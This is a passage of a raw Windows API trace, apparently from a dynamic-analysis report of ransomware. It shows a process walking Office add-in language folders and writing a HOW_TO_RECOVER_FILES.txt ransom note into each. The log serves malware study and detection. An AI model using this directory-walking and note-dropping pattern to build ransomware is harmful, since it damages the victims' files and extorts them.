ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7582db3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.272] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5127e7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5127e7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5127e7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.272] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.272] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.272] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.fr.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.272] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.fr.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.273] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0223.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.274] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.275] GetFileType (hFile=0x82c) returned 0x1 [0223.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.275] GetFileType (hFile=0x82c) returned 0x1 [0223.491] WriteFile (in: hFile=0x82c, lpBuffer=0x3526ec0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3526ec0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.492] CloseHandle (hObject=0x82c) returned 1 [0223.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl", lpFilePart=0x0) returned 0x51 [0223.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0223.497] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.497] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.497] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe3ab3a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe3ab3a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe3ab3a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.497] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.497] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4caf7cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4caf7cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4918, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.497] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13aced2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f09b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.gl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.498] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.498] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0223.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl", lpFilePart=0x0) returned 0x51 [0223.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0223.499] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.499] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.500] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe3ab3a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe3ab3a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe3ab3a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.500] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.500] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4caf7cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4caf7cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4918, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.500] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13aced2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f09b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.gl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.500] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13aced2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f09b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.gl.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.500] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0223.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\gl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.502] GetFileType (hFile=0x82c) returned 0x1 [0223.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.502] GetFileType (hFile=0x82c) returned 0x1 [0223.503] WriteFile (in: hFile=0x82c, lpBuffer=0x353a690*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x353a690*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.504] CloseHandle (hObject=0x82c) returned 1 [0223.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.504] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he", lpFilePart=0x0) returned 0x51 [0223.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0223.505] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.505] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c6bda4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13bb3be0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3440, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.505] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bd443f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.505] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4a98712, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4abe91a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.506] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61b1409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61b1409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.506] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13a8299e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aa8b23, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.he.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.506] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.506] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0223.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he", lpFilePart=0x0) returned 0x51 [0223.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0223.507] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.508] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c6bda4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13bb3be0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3440, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.508] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bd443f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.508] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4a98712, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4abe91a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.508] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, 